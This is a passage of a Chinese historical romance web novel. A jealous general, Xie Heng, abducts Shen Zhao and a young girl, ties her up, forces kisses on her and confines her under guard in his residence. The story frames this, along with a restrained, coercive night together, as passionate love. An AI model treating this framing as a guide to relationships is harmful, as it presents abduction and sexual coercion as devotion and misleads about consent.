“少爷,三思啊!”杨方紧紧拽住他。 谢珩被他死死拽着,无法动弹,他生怕自己会忍不住动手:“你去,让他立刻消失在我眼前。” “这”杨方仍迟疑不决,他知少爷心中仅这一个姑娘,但所求无门,人家又另觅新人,少爷昨日请旨赐婚未成的火,还憋在心中无处发泄,又受了这一重刺激。 杨方想起上山时遇到的小和尚:“少爷,你等我片刻,我让那个小和尚把他引下山去,别冲动!”杨方轻功一跃,去寻慧能的踪迹。 杨方前脚刚走,见柳宁从沈昭屋内走出,他耐着自己最后一丝性子,指骨捏得咔咔作响,但仍旧忍下上前将他打晕的冲动。 不多时,杨方以卖茶客的名义,终是将慧能骗上了山,去请柳宁出面。 念着蓁蓁睡下,身旁不能无人照抚,沈昭便让柳宁独自去处理,她的茶铺能在长安城连开两家,正是因着其服务周到,以顾客为本,这茶客要的量极大,万不能怠慢。 送走柳宁和小和尚,沈昭将大门紧锁,夏日山中清凉,但她的心中却蓦得涌起一股寒意,握着门锁的手又用力拽了几下。 檐下的风灯轻拂,屋中明烛融融,周遭树影婆娑,沙沙声时近时远,倒比人语更亲。 偌大的山中只余她孤单的身影与皎月相伴。 沈昭提步向屋中走去,还未走到门前,地上显现出另一个身影,令她脚步留在原地。 她抬头,对上谢珩的深眸,逆着烛火,看不清他的面容,但他的唇角因极力克制抿成一线,两腮不知因何而不觉颤动,倒显得下颌更加凌厉。 荼白的衣袍上明明被烛火罩上一层暖色,却更像凝着边关的饱经风霜的冰渣,如何都化不开。 他似一头蓄势待发的兽,隐而不发。 沈昭小步退后,她不愿同他再起争执,念着蓁蓁已睡,她轻声说:“谢珩,昨日我同你已经说得清楚,你我二人止于此吧,莫再打扰彼此。” 眼前人勾起唇角,却尽是对他自己的讥笑,他大步上前,紧紧攥住沈昭的手腕:“在长安,父母之命媒妁之言,在你的九州,你也说过两人结亲需得表白、领取凭证,怎的到了他身上便无媒无聘,你就轻易答应了?” 他近在咫尺之间,双眸像噙了血一般红,满院的风灯在他眼底燃成火海。 沈昭瑟缩着身子,轻轻转动手腕,却如何都逃不开他的桎梏,她从未见过他气急至此,竟是因着他误会,她与柳宁无媒苟合。 怕他一时冲动,失去理智,沈昭忙道:“谢珩,你误会了。” 他的指尖几乎掐进沈昭的皮肉,掌心中的血渍沾着她的手腕,湿热黏腻的触感夹着血腥气,鲜血顺着她的玉臂缓缓而下。 沈昭余光瞥到那一线红痕,秀眉蹙起:“你受伤了?” 她微不足道的一句关心,令他眸中燃着的火暗了又起,他手臂发力,猛地将她带入怀中,贴在她耳畔说:“你明明还是在乎我。” 下一瞬,沈昭身子一轻,眼前天旋地转,她腰间的软肉硌到他硬挺的宽肩,疼得发麻。 谢珩将她扛在肩上,任由她如何拍打他,大步向外跨去。 “谢珩,你放我下来,蓁蓁还在!” 谢珩不管不顾,扛起她往山下走,未走出多远,就碰到引开柳宁的杨方。 他刚爬上山却见眼前一幕,将头低垂,不敢多言。 谢珩吩咐他:“将屋里的女童一并带走。” 第58章 待他们二人行至半山腰时,杨方备好的马车早已候在一旁,车夫是四年前私宅里那批家仆,见到多年未见的郎君和夫人,他心中欣喜,但又慌似地垂下眼眸,不敢再多看,只默默为他们掀起轿帘。 沈昭被他顺势扔进马车中,幸好车内铺着软垫,并未伤到她。 她支起身子,还未坐稳,月色下他那张如玉的面庞朝她倾压下来,鼻尖几乎蹭到她的嘴唇:“别动,外面还有人。” “嘶拉——”一声他扯下衣袍一角,趁她还未反应前,双手缠住她的脚踝,迅速地打了个死结。 沈昭挣扎着直起上身,扬手要打。 谢珩看到她沾血的皓腕,一把握住,又从怀中抽出那方被他珍存许久的锦帕。 他轻柔地锦帕覆在她的手腕上,一寸寸擦去血渍,目光凝在其上,独自喃喃:“这方帕子是当年你赠与我的,多少次撑不下去的时候,我总会想起你的模样,念着你还在等我,我一定不能失诺,哪怕是死我也要见你最后一面。” 他仔仔细细将其擦净,沈昭本就生得白皙,细长的手臂如浸在牛乳中的藕节。 他在其上落下轻轻一吻,又扯下一片衣角胡乱将他自己手中血渍抹去,简单包扎一番。 夏日衣衫单薄轻滑,他身前的衣襟经他扯弄,露出锁骨下的箭伤。 沈昭抬眸看见那曲折可怖的伤痕,已结了痂,似干枯的树皮牢牢扒在他的肌肤上,听着他喃喃的诉说,仿佛无数细小的针落在她的心尖上,轻轻拔起又狠狠碾下。 觉察到她的目光,谢珩扯开衣襟,露出肌理分明的胸膛,她曾经抚摸过这儿,像一块暖玉般毫无瑕疵,只有块垒分明的肌肉。 可如今一道道箭伤刀伤纵横,像荒原之上干涸的河沟,是边关永不熄灭的烽火。 她的手被他猛地扯过,指尖颤巍巍地贴上那些伤痕,粗粝的手感激得她指尖微颤,这一道道痕迹都是他来见她走的路。 他的胸膛明明烫得厉害,但身上的伤痂却如同枯败的古木,早已没了温度。 他忽地将沈昭掌心摁向他的胸口,心跳通过伤疤传到她的血脉。 “谢珩”沈昭开口,她的手随着他的胸膛一起一伏,不忍心继续欺瞒他。 无论前路如何,纵使各奔东西,也不能辜负他一番心意,“你先放了蓁蓁,她是无辜的,我与柳宁——” 谢珩在她唇上落下一吻:“别说了,我不想听。” 轻柔的触碰仿佛蝴蝶落在于娇花的蕊心之上,轻柔的痒,将她口中的话尽数堵住。 “谢珩!” 沈昭张口欲言,却又被他薄唇堵住,他不想听,不愿意听她半句的辩解,不想知道她们如何相处的点滴。 这几日,他逼着自己去接受她的生命中有另一男子,不断在心中劝自己,甚至荒唐地去问那些象姑,去了解如何共侍她一人。 可这些杂想,在见到她的一瞬又倏地没了,他自私地只想独占她,她只能属于他。 沈昭方一张口,他便以吻堵她,他不愿听,不愿听她口中吐出任何有关其他男子的话,无论是贬损还是夸赞。 沈昭有口难言,她越是躲,他便逼她越近,双脚被缚,只能以手阻他,可只是徒劳。 山路难行,常有乱石。 忽地一阵颠簸,沈昭滚落到他怀中,青丝如瀑般贴在他胸膛上,随着马车摆荡轻蹭着,扫过他身上交错的旧疤。 他骤然吸气,却没有抬手拂去,蛰伏在那伤痕里,比疼痛更汹涌的悸动,正在不住地叫嚣。 沈昭被他抓着,侧身坐于他双腿上,耳边是他炽热的吐息,她侧目对上他眼底暗涌的火,脸颊霎时染上两朵红晕。 还未等她挣扎起身,她的后颈蓦得被他扣住,他仰头迎上她的唇。 他吻得又凶又急,似要将这四年的思念尽数倾泻。 摁在她后颈的手将青丝抚乱,不容她半分拒绝。 舌尖蛮横地撬开她的唇齿,攻城略地般在她口中肆意扫荡,吸吮又贪恋她的每一分温软。 “唔” 沈昭攥紧他胸前凌乱的衣襟,指节泛着淡淡的粉,鼻息和唇齿间皆是他身上浅浅的沉香。 明明她们曾坦诚相对,可毕竟过了四年,他身上的每一处既熟悉又陌生。 她慌乱地别开脸,却反被他捏着下巴转回来。 指尖摩挲过她微微红肿的唇瓣,眼中暗色更浓,他贴在她耳侧,轻呼一口气,激得这阵麻痒,触电般顺着头皮游走于全身。 他蛊惑道:“别躲。” 马车疾驰碾过泥土的杂音,盖过了车内愈发急促的喘息。 四年光景,长安城街市上的铺子开了又关,灵山寺中的那棵古槐树上红绸又挂得更满了些,唯有青山依旧,岁月如歌。 长安城中另一处未被时光无情碾过的便是四年前他们洞房的新宅。 宅中的人仍旧未变,月钱照付,分文未少,全由杨方留守打理,屋内日日打扫,洁净如新,锦被依着四时季节更换,除非宅中人,无人知晓家里的男女主人并不在府。 马车悠悠停在宅院前, 守宅的家仆上前,认出是多年未归的郎君夫人后,他们放下手中木棍,却默然垂下头,不敢再去瞧那被谢珩抱在怀中,青丝凌乱的夫人。 马车之上,沈昭因着车夫驾马,又被他钳住手脚,无法动弹,不敢去闹,只得任由他肆意撩拨。 她心中始终放心不下蓁蓁,谢珩对她误会颇深,又不许她开口解释。 她得让他冷静下来,细细说与他听。 如今入了府,谢珩遣去从旁侍奉的家仆,将她径自抱到床上,他细长的手指刚扯上她身上的扣带。 沈昭反握住他的手:“等等。” 细如嫩笋的指尖搭在他手上,指甲上半弯的月牙白,较之上好的羊脂玉更莹润。 他薄唇微启,轻轻含住她的指尖,唇齿在她指尖慢慢撕咬. 舌尖湿滑地卷过,似他每一次以帕子拭剑时的细腻。 沈昭蓦得向后抽回手,他舌尖辗转的刺激感却一直蔓延至心口,每一寸血脉都在奔涌跃动。 “谢珩,你先帮我解开,我们慢慢说。”沈昭在马车中被他吻得难以呼吸,喉间像被炽热的火球反复熨帖滚过,方一开口,又轻又撩,教人听的人骨头都酥了。 “真的,不会再骗我?”谢珩并未马上替她松绑,只眉目含情地久久凝着她。 “千真万确,只需你先松开我。”谢珩微抬起被捆住的双脚,催促他解开。 谢珩默了几息,终是决定信她一次,慢慢撑起身子,转身替她解开脚腕处的束缚。 被松开的瞬间,沈昭抽回双脚,翻身滚下床,挂在谢珩指尖的布带亦随着她的动作,飘然落到地上。 床榻之上岂是议事的地方。 沈昭退后几步,怕他冲动行事,与他隔开几步,双手捂在胸前衣襟上:“谢珩,当初不辞而别终是我对不住你,我并不希望你涉险。” 谢珩半跪在床上,清冷的月色透过雕花的窗柩斜映在他脸上,他的眸色骤然转冷。 沈昭起身让他错以为她又一次骗了他,只是伺机逃跑罢了。 四年前是如此,她们缠绵一夜,不,还未天明她就离他而去;四年后亦如是,她总是想方设法地逃离他身边。 他的胸口涌起一股难以言明的情绪,夹杂着说不清道不明的痛楚,钝刀割肉般一点点消磨他。 沈昭的手慌乱地抵在身后的妆台上,不经意间拂落一只木匣。 这四年,宅院的一切都未曾变过,包括这只曾装着肠衣的匣子,被家仆仔细清洗过,摆于妆台之上。 木匣落在地上,清脆的响声,在黑夜中被无限放大。 谢珩心中最后一丝理智顷刻崩溃,眼中的妒火更甚。 是啊,他走的那夜,用废了好几只肠衣,那个孩子无论如何也不可能是他的。 她口口声声为着避孕,原来只是为了避开他。 他的左腿提起,离开床面,床榻因他的卸下的重量发出“吱—”的轻响,指尖划过的锦被还残留着她的体温,他彻底站直身体,一步步走向沈昭。 他步步逼近,半敞的衣袍从床榻垂落,拂过地面,屋内的烛火被他无形的威压震慑,摇曳着退缩。 墙上的人影被扭曲地拉远又拉长。 沈昭不禁脊背生寒,哽在喉间的话绕了几圈仍吐不出口,她从未见过他如此模样。 他的影子慢慢覆上她的裙裾,眼中翻涌的暗潮,似乎要将她吞没,拆骨入腹。 沈昭不由得退后半步,试探道:“谢珩?” 她下意识转身去躲,却被他强有力的大手扼住薄肩,猛地向后一拉,她跌入他的怀中,被他狠狠扔在床榻上。 谢珩俯身而下,双膝卡在她腿侧,逼得她动弹不得:“沈昭,你若喜欢,全长安的玉郎任你挑选,”他一把扣住她的手腕强横地按在榻上,“但你每日最先和最后见的,必须是我。” 他扯着她衣襟的系带,对上她迷蒙带着潮气的眼眸,眼底涌上一股暗色。 雪白的肩颈因他的蛮横轻轻颤抖,他低头咬上她的唇,霸道又蛮横,留下斑斑红痕。 她颈侧的肌肤骤然缩紧,像被火舌燎过般,潮湿灼热。 他的唇舌若有似无地擦过她颈上的脉络,激得她浑身一僵,仿佛连那跃动的脉搏都被他衔在唇间把玩,始终不松开。 他的手指沿着她身下的软肉,一路旖旎向上,拉扯成一线,他俯在她耳畔:“你也很想我对么?” 沈昭被他欺得泪眼莹润,紧咬着唇,甫一开口的瞬间,又正中他的欲念,以吻封缄,掩住她喉中难以自抑的呜咽。 她奋力挣扎却被他制住手腕,两人气息交织在咫尺之间。 他的手掌扣住她腰际时,她触电般绷紧脊背,素白手指将锦被攥出凌乱褶皱。烛影摇红间,只余彼此交错的呼吸声在帐幔间回荡。 ……. 鸳鸯枕上艳色斑驳,他忽然低头吻过她颤抖的眼睫,可禁锢的力道仍未松懈分毫。 更漏声长,她最终精疲力竭地陷在锦被间,而他仍固执地环着她,如同困住珍宝的锁链紧锁。 每一次她试图挣脱,都会引发新一轮令人窒息的纠缠,仿佛在怒海扁舟中起伏,被浪涛抛向九霄又坠入深渊。 墙上痴缠的人影,一夜不休不止,直到明亮的天光照得四下皆白。 沈昭头歪在颈枕上,身上湿痕斑斑,如一朵被打湿的花儿,垂落于他身侧 第59章 沈昭似一只在烈日下被曝晒的鱼,无力又懒洋洋地歪在一侧,从内到外皆是干涸,唯有身前那团雪白,上下起伏,证明她还活着。 和他的第一夜,他们彼此未经人事,概因高峻将他口中的“秘术”相传,他与她彼此初探,水火相容,痴缠了一夜。 可是这一次,他变得更疯狂又蛮横,强硬地掠夺她的一切,不给她任何喘息机会,任由她的泪水被他榨干,让那燎原的火烧灭所有的体统和理智。 对谢珩封赏的圣旨还未下,因着他本就是金吾卫大将军,若是再封赏晋升,还需各部商议定夺,可他只为赐婚,却将景明帝架在其中,既不可一口否了,又不能轻易允了,只得暂且搁置一旁。 沈昭静静翻了个身,身侧是他宽厚挺括的胸膛,他半阖着眼眸,眼睫轻颤,分不清在梦中还是醒着。 剑眉舒展,唇角挂着一丝慵懒的笑意,似一柄收鞘的利刃,敛去身上的锋芒,只余淡淡的孤傲。 沈昭鬼使神差地抬起手,以指尖轻轻描摹着他的眉眼,指心轻轻贴在他的睫毛处,随他不自觉的颤动泛起细细密密的痒。 可她始终放不下蓁蓁,待她从昨夜的云雨中,恢复了些力气,她准备去找她。 昨夜谢珩把她们两人强掳过来,不知夏目是否解决完惊云的事,若是她去山上寻不到她俩,定会着急担心。 她屏住呼吸,翻转身子,将他揽着自己的长臂轻轻挪开,手肘支着身子慢慢起身,可刚刚离开床铺便被他的大手压下,他压着她的肩膀,将她紧紧扣在床榻上。 将头埋在她的颈窝处,呼吸间的热气轻拂过她的雪肤,他缓缓开口:“你又想跑?” “谢珩,”沈昭坐起,将他推开,拽着锦被捂在自己身前,“蓁蓁是无辜的,我并非是她生母,你误会了。” 她手上攥着的被角被他轻易地扯开,他勾唇笑了笑,脸上是三分自嘲与无奈:“你以为我会对她如何,你就这么怕我么!” 他深眸倏地靠近,在她耳畔落下一吻,恶劣又玩味道:“你身上何处我没看过,不必遮了。柳宁侍奉你三年了,也有了孩子,他任务了了,我知道你肯定厌了他,我替你解决。” 他此刻认定了她既成的事实,不给她任何辩驳的机会,亦不相信她口中吐出的一个字。 生母?若那孩子有了生母,又岂会唤沈昭人为娘! 无非是怕他伤害孩子的托词罢了。 谢珩误会得深,只要是关于她的事,便会令他顷刻之间失去所有理智。 沈昭拽着他的胳膊,怕他冲动行事:“谢珩,事情并非如你所想,你冷静些。” 谢珩在她头顶落下轻柔的吻:“好好在家,等我回来,今后我会好好照顾你们母女。” 男女之间力气相差悬殊,沈昭终是拦不住他,门被他在外紧锁,只冷淡留下一句嘱咐:“看好夫人,不能让她踏出这个院子半步。” “是。”众人不敢多言,只是听从他的安排。 任沈昭如何拍门,喊人,门外的家仆仍无动于衷,哪怕送水送饭,提防着她外逃,门扉只开一线,将将够把食物送入房内。 春宁和夏安被吩咐不能靠近此处,将她最后逃跑的希望也抹杀了。 宅院内另一处厢房,蓁蓁坐在床上,一言不发,春宁和夏安大眼瞪小眼地对视一下,又端着牛乳和早膳上前:“小主子,饿了吧,我们伺候你用早膳。” “你们是谁?” 蓁蓁罕见地没有哭闹,只是睁着圆润有神的眼眸,陌生又警惕地四下看着。 春宁舀起一小勺热牛乳,放在嘴边吹凉:“小主子,我们曾是侍奉你娘亲的丫鬟,沈、沈昭姑娘可是你娘亲?” 蓁蓁听到沈昭的名字,眼中霎时亮了几许:“我想见我娘,你们可以带我去找她么?” 她俩一时犯了难,昨夜听闻沈昭回府时,她们便出门相迎,可惜却被拒之门外,甚至今晨被吩咐不能靠近东院, 夏安机灵说道:“小主子,我们先把饭吃了,一会儿我们就带你去找你娘,可好,你总不能饿肚子吧。”她对着春宁挤挤眼,先应付一会儿是一会儿。 —— 谢珩带着杨方回了一趟晋国公府,却只是为收拾自己的行囊。 自他从边关回宫后,李立雯等了他一日,却迟迟不见他回府。 她本以为谢珩孩子心性,只是一时热闹,只需过段时间就好了,但却同她僵持了四年整。 李立雯站在他院外拦着他:“珩儿,你是要坐实这不孝不悌的骂名么,天底下何愁找不到令你心仪的女子,你何必如此死脑筋。” 谢珩不欲同她辩驳,兀自收拾房内的物件。 李立雯斩钉截铁说道:“圣上不会同意你们的婚事的。” “是母亲同陛下商议好的?”听闻她的话,谢珩适才抬了抬头,语气同样笃定,“若是长安容不下我们,那我便同她离开此处。” “她在哪?你们——”李立雯虽然当初并不觉得她会信守她们之间的约定,但珩儿才刚回长安一日,她们竟又这么快牵扯在一起,她心中掠过一丝嗤笑。 她倒回来的真及时啊,真是好算计! 如今珩儿军功在身,风光无量,她倒回来沾光了。 下一瞬,谢珩脱口而出的话更让她更加胸闷气滞:“我已经失去她一次,自是不会让她再离开第二次,母亲那些多余心思还是早些收起来吧! 自沈昭来到府中,并非她要争抢儿子,她敬奉祖母,讨您欢心,哪怕事出有因,也是她的付出。 我爱重她,不代表我会背叛宗族,我一向不屑于官场浮沉,更不需要联姻铺路,门第从不在我考量之内,是母亲逼人太甚,儿子才不得不出此下策, 哪怕她是守节抚孤的寡妇亦或是泼皮无赖的女儿,都不会改变我的心意,若母亲执意阻拦,只会将我推得更远。” “你”李立雯捂着心口,“好好好,我竟不知你满腹才学,论起此事倒头头是道。” 谢珩收拾好行李,留下最后一句:“母亲既知儿心,若你真怜惜儿子,何苦与她相争相斗?” 谢珩离开国公府,他本意是直接去春熙茶铺找柳宁,但还未走远,便遇到匆匆来寻他的家仆,家仆回禀:“老爷,夫人她在屋内不吃不喝,早上送进去的膳食还没用过呢!” 屋内,沈昭坐在床榻上,昨夜便已耗尽了大半气力,她绝食抗议,同屋外的家仆周旋半晌,只得靠着床榻缓缓。 她从未想过,谢珩竟真将她囚于这私宅中。 曾经风清霁月、克己守礼的公子,若真把他逼急了,也会将所谓的礼数规矩抛之脑后。 这家仆事先得了吩咐,机灵得很,无论她编造何理由,都纹丝不动。 但他们又生怕将其关在其中,万一有个三长两短,无法交代,只得将沈昭的一举一动随时回禀。 沈昭垂眼瞥见门口的早膳和茶点,烤饼中夹着层层羊肉,杏酪粥上撒的杏仁粒粒分明,怕是暑气太盛,厨房还特意备了撒着糖霜的酥山,只是已经化成了一汪水。 她好饿,也口渴。 但她挺直了背,不能如此没出息,门外的人油盐不进,她只能以绝食最后赌一次,她必须尽快找到蓁蓁,已经过了一夜了,她不能再等了。 她倚在床榻上,琢磨着出逃的路子,日头渐渐越过屋檐,高挂于空,几近晌午。 一会儿,他们会送饭进来,这或许是她最后的机会。 她在室内搜寻一圈,未找到任何趁手的工具。 最后只得垂眼,落于她出门带的玉簪上,她俯身将滚落在地上的玉簪捡起。 这玉簪仅长长一线,一头弯至弧形,另一头圆润,该是伤不了人,她将其藏于怀中,准备伺机而动。 她望着门外,时刻留意他们的一举一动,把握开门的刹那。 渐渐地一个黑影慢慢向房门靠近,她的手攥起簪子,果断下榻,借着帷幕和衣柜,掩饰自己的身影,疾步又轻柔地靠近门扉,尽量不发出任何声响。 她沉沉吸了一口气,目不转睛地盯着门缝那一线光亮。 忽而,一线的日光渐渐开阔,她瞅准时机,率先将玉簪探出,估算着身距,直抵来人咽喉。 却只听得一声浅笑,她的手反被扣住,脚步还未踏出房门,便被那双熟悉的手固住腰身,被他圈着,紧紧拥入怀中,贴上他的胸膛。 发丝间还沾着她身上的甜香,一夜旖旎,饶是沐洗过了,但吐息之间全是她的味道。 那线的光亮刹那间被紧锁于外。 沈昭挣扎着捶打他:“谢珩,你放开我,我要去见蓁蓁,你不顾我们的意愿,将我们囚于此,这违背律法。” 腰间的指节发力,握住她手腕的手令她吃痛,恨不得将她揉入骨血,他讥笑道:“我就是当初太在意你的想法,才让那柳宁有了可乘之机。” “我和他并非你想的这样。” 谢珩不欲听她的辩词,垂眼看到地上未被动过的膳食,将她摁坐在木桌旁:“我听下人说,你不吃不喝?” 沈昭违心说:“我不饿,只要你放了蓁蓁,或者让我同她见一面,我留在此,你放她离开。” 谢珩握着她的手未松开,他俯身拿起桌上的膳食,推到她面前:“不饿也总该渴了,毕竟昨夜,你嗓子都哑了。” 他声音低沉,带着几分餍足后的慵懒,不容她拒绝。 握着她手腕的指节,渐渐撬开她握紧的拳,十指交握。 沈昭强硬地将头别过去:“放蓁蓁走。” 谢珩端起青瓷杯盏,澄澈的茶水已然转凉,映着他修长的手指。 她侧过头,他便很有耐心地将茶盏抵在她唇边:“润润喉。” 茶水随着他手的偏移,在杯中左右轻荡,溅到沈昭的唇角又晃回杯中,或打湿他的指节。 她朱唇抿至一线,推开他的手:“谢珩,别闹了!” 半杯茶水仍在杯中摇曳,谢珩蹙眉,忽而仰首将杯中的茶尽数含于口中,在她惊诧的目光下俯身贴上她的唇。 唇齿相贴,她的贝齿被他的舌头撬开,渡来一口凉茶,她被迫仰头承接,喉间滚动间,茶水全部咽下。 他的舌却趁机侵入,搅弄一池春水。 “谢珩!”沈昭羞恼交加,喘息着推开他,面似桃花。 他低笑,拇指擦过她湿润的唇角,分不清那是溅出的茶渍,还是来自他唇齿间的湿润。 指腹暧昧地按压她微肿的下唇,余光扫过凌乱的床榻,空气中仍残留着情动的气息:“那个幼童,我让春宁看顾着,她没事,但是” 他附在她耳畔低吟:“我又渴了,怎么办?” 凉茶滑过喉间,沈昭刚得一丝甘甜,却又被他灼热的气息扑面,她躲闪着逃开:“你疯了。” 谢珩还欲再去贴那份温软,门外却适时响起敲门声,他不耐道:“什么事?” “老爷,夫人,西院那个孩子,一直在哭闹,吵嚷着要见她娘。” 第60章 听到家仆的回禀。 沈昭猛地推开谢珩,眼中的冷意霎时散开,她的青丝从谢珩指尖滑走,任那若有似无的香甜萦在吐息间,却不带一丝温度。 谢珩的手僵在一旁,又堪堪放下。 沈昭疾步走到门前,命令道:“谢珩,开门,我必须要见到蓁蓁,确保她无恙。” 谢珩沉声许久后,终是妥协:“开门。” 等在外的家仆将门打开,明媚的日光耀得她不由得眯起眸子,她头也不回地跑出院外,问向来人:“那个孩子呢,带我去见他。” 来人余光扫到谢珩颔首后,带她往西院走:“夫人,请随我来。” 蓁蓁用完早膳后,一直在房中等着沈昭,可过了晌午,春宁二人奉上午膳时,仍不见她娘的身影。 饶是她们二人再如何劝说,她都不信不听,只闹着要见她娘,说着说着便哭了起来,如何哄都哄不好。 她的衣衫被泪水打湿,春宁蹲在一旁拿着帕子替她擦拭,夏安急得慌了手脚,原地来回踱步。 沈昭刚到院内,便听得蓁蓁的哭喊声,她越过带路的家仆,循声而去,终是见到了哭得梨花带雨的人儿。 夏安先认出了她,愁颜绽开,笑着福了福身:“小姐,你真的回来了!” 沈昭跑上前,将蓁蓁抱在怀中,安抚地拍着她的背:“蓁蓁不哭,娘来了。” 蓁蓁倒吸了几口气,用小手擦擦被泪水打湿的眼眶,双手搂着沈昭,缩在她怀中:“娘,你去哪了,蓁蓁好害怕。” “没事了,乖,一会儿我们就回家。”沈昭柔声地安抚她,又倒了一杯蜜水,怕她哭得太狠,让她小口喝下。 春宁和夏安如获大赦般,吁了口气,她们彼此交换眼神,心照不宣,竟未想到小姐的孩子都这般大了。 因着蓁蓁嘴挑,平日吃饭时都得哄着求着,夏目看顾茶铺不得闲,奶娘照顾不能完全尽心顺意,沈昭久居在山中,也是蓁蓁稍大了些才上山寻她玩,所以,她身量比同年龄的小孩矮了不少。 待蓁蓁情绪稳下来,沈昭拉着她的小手:“蓁蓁,我们回家。” 蓁蓁点点头,两只手握紧她,跟在一旁、 春宁和夏安不知发生何事,又不敢多言,只默默看着她们的身影。 两人刚跨出房门,便看见谢珩站于院中,将她们方才所言尽数听去。 沈昭侧身上前,挡住蓁蓁:“谢珩,有什么话你我好好说,莫惊扰到孩子,先送她回茶铺吧。” 谢珩蹲下身子,与蓁蓁平视,小小的人儿将身子往后缩了缩,目光却不闪不避地望着他。 谢珩勾起唇角,吩咐道:“春宁,先带她下去用膳。” 攥着沈昭衣裙的小手紧了紧,嘴慢慢撅起,“不”字还未说出口,沈昭先转身蹲下,摸着她的头:“蓁蓁先去吃饭好不好,娘同叔叔有话要说,你就在这等着我,我一会儿就回来。” 蓁蓁紧咬着唇,重重地点了点头,小嘴嚅嗫道:“蓁蓁会乖,等娘回来。” 春宁和夏安上前,一人拉着她一只小手往屋里走,她不时地扭头回望沈昭。 沈昭看着房门被关好后,脸上的柔情散去几分,压低声音问向谢珩:“你到底想如何?” 她们两人之间的误会和恩怨,不该牵扯到一个无辜的孩子身上。 谢珩踱步向外走去,沈昭拿不定他的主意,紧随其后,两人转过连廊,走到一寂静无人处。 谢珩:“沈昭,你不必因为我屈就自己,若你不想同我母亲接触,那我们就一直留在这儿,这里只有你一个夫人,那个孩子既然你喜欢,我会好生照顾她, 事到如今,陛下赐婚与否我亦不强求,他们既然看重这个身份,我就留给她们,辞官归乡,同你在此,你觉得如何?” 哪怕知晓谢珩的心意,可四年前她离去,便是不想看到他为了她不顾一切,甚至拿命去赌。 她大可以不管不顾,同他在一起,但这不应建立在他众叛亲离,宁可辜负母亲生养之恩的基础上。 若要他以众叛亲离为代价,又与饮鸩止渴何异。 何况此事因他的误解,已经把蓁蓁牵扯其中。 沈昭见他执意如此,又听不进自己的解释,无奈说道:“你先将蓁蓁放了,我留在此。” 谢珩忽地停下脚步,慢慢向她走近,衣袍下摆扫过青砖地面,他双手交握,不觉摩挲着虎口那道旧疤。 地上的落花被他的鞋底碾碎,踏着残汁断叶,鞋底与青砖碾出令人牙酸的声响。 他高大的身影将沈昭完全圈于身下,温热的吐息拂过她的前额,说出口的话语却噙着寒意:“自你我相见后*,你口口声声全是蓁蓁,心中可有一刻装过我?” 他靠得这般近,明明已将她困于私宅,囿于怀中,可轻微发颤的尾音却实实在在出卖了他,纵使脊背挺得再直,眼尾泛起的潮意掩盖不住他的卑微。 眼见他眸底的光一寸寸暗下去,饶是再铁石心肠的人都不忍细看。 墙上他的身影被日光拉的细长又寂寥。 李立雯始终未允准她们的婚事,她可以轻而易举地说出自己的心意,但那只会将逼得她们母子越走越远。 她不表态,他都要罢官离家,若她接受了他的心意,只怕他会走得更加干脆。 沈昭慢慢牵起他的手,十指插入他的指间,爱惜地抚在脸侧蹭了蹭:“谢珩,若你真的在意我,那便听我一言,让蓁蓁回去。” 谢珩爱怜地轻抚着她的脸颊,在她额头上浅吻:“你等我,我会处理好所有的事,让你放下所有负担。” “来人,将夫人送回房中,”他吩咐道,但转念一想,“罢了,送去西院那个孩子那儿,严加看管。” 沈昭前后左右立刻围满了家丁,不容她乱动半分:“夫人,请随我们走吧。” 沈昭踮起脚,望向一旁的谢珩:“那我要给茶铺送封信,谢珩!” 谢珩记起昨日在茶铺所见,脸色骤冷,说道:“你本就不爱动笔,我替你亲自走一趟。” 他说罢转身离去,沈昭则被家仆们逼退回了西院,蓁蓁的房中。 当着孩子的面,她不愿表露太多情绪,怕加重蓁蓁的不安和害怕。 蓁蓁刚在春宁的侍奉下用过饭,她上前抱住沈昭的腿:“娘,你饿了么?这儿的饭好好吃,蓁蓁吃得好撑。” 她罕见得没有挑食,是此刻沈昭心中唯一快慰的事了,她将蓁蓁抱起,坐于一旁:“喜欢吃就好,多吃一些,才能长高高。” “可是娘,我们什么时候走,那个叔叔是谁?”蓁蓁满肚子疑问,叽里咕噜说个不停。 沈昭笑着回她:“我们可能会在这儿多呆几日,蓁蓁会不会想你阿娘啊?” “想”蓁蓁吸吸泛红的鼻头,“但是有你在我身边,蓁蓁就不害怕了。” 春宁和夏安站在一旁,听得云里雾里,这孩子的“阿娘”不就是小姐么,既在眼前又何来想念一说,但她们不敢多言,只静静听着。 觉察到她们脸上的异色,沈昭叹了口气,将这几年的事挑捡着说与她们两人,将谢珩误会的由来解释清楚。 夏安昨日见过杨方一面,她说道:“小姐您不知,少爷将自己在府里的东西尽数搬到此处,我听杨方所言,同夫人闹得可不愉快了,他如今误会你又如此深, 你可千万要顺着他些,指不定少爷他发什么”疯呢。她被春宁手肘拐了一下,她偷瞧着蓁蓁,声音渐小。 春宁则在一旁劝道:“小姐,少爷他心里始终只有你一人,你们能将话说开就好。” 若真是这么简单,他们两人便不会纠缠至此了。 沈昭将希望放到她们二人身上,问道:“你们可能出府?若是能让我送封书信去茶铺,请夏目或者柳宁出面,同他说交代清楚,最起码可先送孩子回去。” 她们二人同时摇摇头,少爷派了家丁将院子围得严实,便是一只鸟儿都飞不出去,更何愁人呢。 主仆三人暗暗吁了一口气,只有蓁蓁眨巴着眼望着她们,听不懂其中曲折。 谢珩本带着杨方走出府,似是想到什么,他复又折回房中,换了一身衣袍,两人驾马向城内赶去。 除了四年前迎亲那日,杨方很少见他如此正式,腰间的蹀躞带上挂着玉佩,叮当作响,曾经少爷巡值时,最不喜此物,甚是聒噪,怎的今日一改往常了? 两人策马到了春熙茶铺前。 谢珩翻身下马,锦绣的外袍在空中划出一道惹眼的弧,俊朗的少年将军威武不凡,英姿飒飒,引得路人纷纷侧目。 杨方瞥见茶铺中那青色的身影,不由得倒吸一口凉气,生怕走得慢了,血会溅到他身上,他主动上前将马牵走:“少爷,我先去安顿马匹。” 谢珩撩袍坐于一旁的茶桌前,扔下一锭银子。 银锭在桌上滚了几圈,咚咚几声砸在桌案之上,眼眸死死盯着那身青衫:“让你们掌柜的,过来伺候。” 60-70 第61章 自谢珩踏入茶铺的那瞬,柳宁便注意到他了。 长安城的金吾卫大将军,晋国公府的小少爷,风华月貌,才比子键,至于武,全长安谁人不知他疆场归来,邵阳一战直取孑于副将首级,大败敌方,好不威风。 莫说长安,放眼整个大齐,他的名号,无人不知无人不晓。 且不论他满腹才学和一身武艺,单是这人往街上一立,便同他们寻常人家隔出两种画风。 柳宁自认有几分好颜色,亦有君子之相,温文儒雅,不逊于寻常百姓,可人最怕比较,他若与谢珩相比,到底不及。 他兀自暗暗观察他的一举一动,却不成想谢珩指名要见他。 